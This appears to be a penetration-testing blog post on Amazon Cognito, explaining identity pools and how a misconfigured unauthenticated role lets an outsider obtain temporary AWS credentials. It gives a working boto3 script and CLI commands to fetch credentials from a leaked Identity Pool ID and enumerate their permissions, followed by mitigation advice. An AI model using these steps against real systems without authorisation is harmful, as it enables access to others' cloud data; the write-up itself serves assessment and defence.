Application Security

Exploiting weak configurations in Amazon Cognito

Application Security
Apr 6, 2021
7 mins read
Pankaj Mouriya

Recently, we have been testing various Web and Mobile applications that are using Amazon Cognito or Identity Platform to manage authentication and authorisation. In most of the applications, we found mis-configured Amazon Cognito and Identity Platform leading to high severity issues.

This blog post talks all about understanding and exploiting weak configuration in Amazon Cognito.

  1. Table of Contents
  2. — Identity and Access Management
  3. — What are Federated Identities ?
  4. — Understanding Amazon Cognito
  5. — How Amazon Cognito works?
  6. — Practice Lab
  7. — Detecting and Exploiting Misconfigured Amazon Cognito
  8. Mitigation
  9. — References

If you are impatient like me, you can skip to the “Detecting and Exploiting Misconfigured Amazon Cognito implementations”.

We will publish a mdbook soon which will cover concepts and possible security issues related to authentication and authorization.

Identity And Access Management

Identity and Access Management — By Amazon Web Services

IAM allows you to manage users, their level of access to the cloud resources with very fine granular permissions, and much more. In AWS, once a user is created they are provided with an access key and secret key. Using these credentials, a user can interact with the AWS ecosystem and API’s using the CLI but what about sign in and sign-up for web application users. Did AWS and Google Cloud think about it? Yes, of course, they thought about it, and here comes the role of Amazon Cognito and Identity Platform. Before we understand Amazon Cognito, we need to understand Federated Identities


What are Federated Identities ?

Federated Identity allows an authorised user to obtain temporary, limited-privilege credentials to securely access cloud services such as in case of AWS services like S3, DynamoDB, Lambda, etc. In this, a user over the Internet authenticates themself via third-party authentication providers such as Google, Facebook, and Github, etc.

The main goal of these Federated Identities is to allow a user to login via Google, Facebook, etc, and then grant them access to the cloud resources or web Applications.

Understanding Amazon Cognito

Amazon Cognito consists of two main things and those are:

  1. User Pools
  2. Identity Pools

User Pools : User pools allow sign-in and sign-up functionality

Identity Pools : Identity pools allow authenticated and unauthenticated users to access AWS resources using temporary credentials

In short, the User Pool stores all users, and Identity Pool enables those users to access AWS services.

How Amazon Cognito works?

1. Let’s say, Alice user wants to access or upload some data into the S3 bucket but for that, Alice needs to be authenticated so she opens the Cognito login page

2. Alice logs in using her Google/Facebook login credentials, the credentials are checked against the User pool user directory.

3. Successful login gives Alice a JWT

4. Alice make a request to Identity Pool with her JWT

5. Identity Pool examines the tokens and exchanges her JWT tokens for Temporary AWS credentials.

6. Alice can use these temporary AWS credentials to access/upload data into the S3 bucket.

Practice Lab

A sample web app to test how the whole flow works. Before you run the below HTML, you need to configure Amazon Cognito Identity Pool. Follow the below URLs for the same

https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-getting-started.html

https://www.freecodecamp.org/news/user-management-with-aws-cognito-1-3-initial-setup-a1a692a657b3

Do not forget to replace the value of `AWS.config.region` and `IdentityPoolId` in below HTML

________________________________________________________________________________________________

<html>

<head>

   <title>Cognito Example</title>

   <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>

   <script src="https://cdnjs.cloudflare.com/ajax/libs/aws-sdk/2.32.0/aws-sdk.min.js"></script>

   <script>

       $(document).ready(function() {

           // Load the Facebook SDK

           $.getScript('//connect.facebook.net/en_US/sdk.js', function() {

               FB.init({

                   appId: '129742928931291',

                   version: 'v2.8'

               });

               // Log the user in

               FB.login(function (response) {

                   // Check if the user logged in successfully.

                   if (response.authResponse) {

                       AWS.config.region = 'ap-southeast-2';

                       // Add the Facebook access token to the Cognito credentials login map.

                       AWS.config.credentials = new AWS.CognitoIdentityCredentials({

                           IdentityPoolId: 'us-east-1:af9650d3-58b4-49fd-807f-421191445bc8',

                           Logins: {

                               'graph.facebook.com': response.authResponse.accessToken

                           }

                       });

                       // Obtain AWS credentials

                       AWS.config.credentials.get(function() {

                           console.log(AWS.config.credentials);

                       });

                   }

               });

           });

       });

   </script>

</head>

<body>

   <div id="fb-root"></div>

</body>

</html>

view rawcognito-test-index-page.html hosted with ❤ by GitHub

________________________________________________________________________________________________

Detecting and Exploiting Misconfigured Amazon Cognito
Cognito Identity Pool IDs allows users to fetch temporary AWS credentials. If the AWS Credentials obtained have liberal AWS permissions, it might be possible for an unauthenticated user to access sensitive AWS services.

Retrieving an Identity Pool ID

Hardcoded Identity Pool ID
An application stored the Identity Pool ID hardcoded in their source code/JavaScript

Hardcoded Amazon Cognito configuration in client-side JavaScript may look like this

________________________________________________________________________________________________

{

aws_project_region: "ap-south-1",

aws_cognito_identity_pool_id:"ap-south-1:d06f6g4f-656c-4a12-87x1-d0d4c2dnc984",

aws_cognito_region: "ap-south-1",

aws_user_pools_id: "ap-south-1_cN3PfQxij",

aws_user_pools_web_client_id: "4g4ckfc9llt8q7fvmbkg0h6u25",

}),

________________________________________________________________________________________________

Identity Pool Id in HTTP Response

Application responding with Identity Pool Id to GET/POST based HTTP request or using the Identity Pool Id in the POST request to perform some action. If the application is using Amazon Cognito then look for responses in Burp Suite containing AWS Cognito identity pool id. You can also search for strings in Burp Suite like `aws_cognito_identity_pool_id`,`identity` or ` cognitoIdentityPoolId `. A sample HTTP request and the response containing Amazon Cognito Pool Id is shown below

Request

________________________________________________________________________________________________

POST /api/v1/app-config/ HTTP/1.1

PHONE_MAKE: *

userId: *

CLIENT_NAME: *

CLIENT_VERSION: *

Authorization: JWT eyJhbGc<JWT-TOKEN>

Content-Type: application/json; charset=UTF-8

Host: <HOST-Name>

Content-Length: 2

{}

________________________________________________________________________________________________

Response

________________________________________________________________________________________________

HTTP/1.1 200 OK

— -SNIPPED — -

“shareMeta”:{“campaign”:”REFER_PROFILE_SCREEN”,”desc”:”do laundry”,”showModal”:true,”title”:”Refer a friend!”,”useBranch”:true},”runnerFirebaseUrl”:”https://SOMEEXAMPLESITE.firebaseio.com/","s3":{"bucket":"SOMEEXAMPLEBUCKET","cognitoIdentityPoolId":"ap-south-1:d06f6g4f-656c-4662-87e1-d1d4c2dna984","region":"us-east-1","url":"http://s3.amazonaws.com"},"search_tab_badge_config":null,"serviceabilityUrl":"https://SOMEEXAMPLESITE.s3-ap-southeast-1.amazonaws.com","shardingPrefixId":"ccc6e"

— -Snipped —

________________________________________________________________________________________________

Fetch AWS Temporary Credentials

Using Boto3

Once you have the Cognito Identity Pool Id token, you can proceed further and fetch Temporary AWS Credentials for an unauthenticated role using the identified tokens. Save the below script into a file awscognito.py and replace the variables `region` and `identity_pool` with your values

________________________________________________________________________________________________

import boto3

region='us-east-1'

identity_pool='us-east-1:5280c436-2198-2b5a-b87c-9f54094x8at9'

client = boto3.client('cognito-identity',region_name=region)

_id = client.get_id(IdentityPoolId=identity_pool)

_id = _id['IdentityId']

credentials = client.get_credentials_for_identity(IdentityId=_id)

access_key = credentials['Credentials']['AccessKeyId']

secret_key = credentials['Credentials']['SecretKey']

session_token = credentials['Credentials']['SessionToken']

identity_id = credentials['IdentityId']

print("Access Key: " + access_key)

print("Secret Key: " + secret_key)

print("Session Token: " + session_token)

print("Identity Id: " + identity_id)

view rawawscognito.py hosted with ❤ by GitHub

________________________________________________________________________________________________

Refer to URLs mentioned in References in case you need to install python3, or boto3 module and setup environment variables

Now that you have the script, run the below command to fetch AWS temporary credentials

python3 awscognito.py

It will fetch AWS temporary credentials as shown below

Using AWS CLI

Configure your AWS profile in your system and run below commands

aws cognito-identity get-id --identity-pool-id <identity-pool-id> --region <region>

IdentityId in Response

aws cognito-identity get-credentials-for-identity --identity-id <identity-id-from-previous-command> --region <region>

Fetching Temporary AWS Credentials

Enumerate permissions of AWS Credentials

We have temporary AWS credentials, next step is to enumerate permissions associated with this Cognito unauthenticated role.

Using enumerate-iam

enumerate-iam.py script tries to brute force all API calls allowed by the IAM policy. The calls performed by this tool are all non-destructive (only get* and list* calls are performed).

Installation

________________________________________________________________________________________________

git clone https://github.com/andresriancho/enumerate-iam.git

cd enumerate-iam/

pip install -r requirements.txt

________________________________________________________________________________________________

Run the enumerate-iam.py as shown below

________________________________________________________________________________________________

python3 enumerate-iam.py --access-key <ACCESS-KEY-ID> --secret-key <SECRET-KEY-ID> --session-token <SESSION-TOKEN-VALUE>

________________________________________________________________________________________________

Notice that in this case the AWS Credentials have permissions to list S3 Buckets in the AWS account. This is a common mis-configuration we have been encountering recently in Web Application and Mobile Application Security Assessments.

In one of our recent Web Application Security Assessment, we were able to list S3 buckets and objects inside the buckets.

S3 buckets

Using Scout Suite

Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using the APIs exposed by cloud providers, Scout Suite gathers configuration data for manual inspection and highlights risk areas. Rather than going through dozens of pages on the web consoles, Scout Suite presents a clear view of the attack surface automatically. — nccgroup

First, configure an AWS profile into your machine using the below command. Use the above fetched temporary credentials here

aws configure --profile test-scoutsuite-profile

AWS Profile Configuration using AWS CLI

Next run below command to add identified session token.

nano ~/.aws/credentials

Manually add `aws_session_token` and the session token value

cat ~/.aws/credentials

Cat command to read AWS credentials file

Next install ScoutSuite using this link https://github.com/nccgroup/ScoutSuite/wiki/Setup

Using ScoutSuite

python3 scout.py aws --profile test-scoutsuite-profile

Scout Suite in action

ScouteSuite also generates a HTML report under `/scoutsuite-report` directory

Scout Suite Report file
Scout Suite Browser View

Mitigation

  • Remove sensitive details from server responses, including Cognito Identity Pool Id. Server must return minimal data whenever a server request is made.
  • Review IAM policy attached to the unauthenticated role while configuring Amazon Cognito to ensure least privilege access.

Equivalent to Amazon Cognito, GCP has Identity Platform and we have written another cool blogpost over “Exploiting weak configuration in Google Cloud Identity Platform”.

References

HAZE WEBFLOW TEMPLATE

Build a website that actually performs better.

1
Lorem ipsum dolor sit amet consectutar
2
Lorem ipsum dolor sit amet consectutar
3
Lorem ipsum dolor sit amet consectutar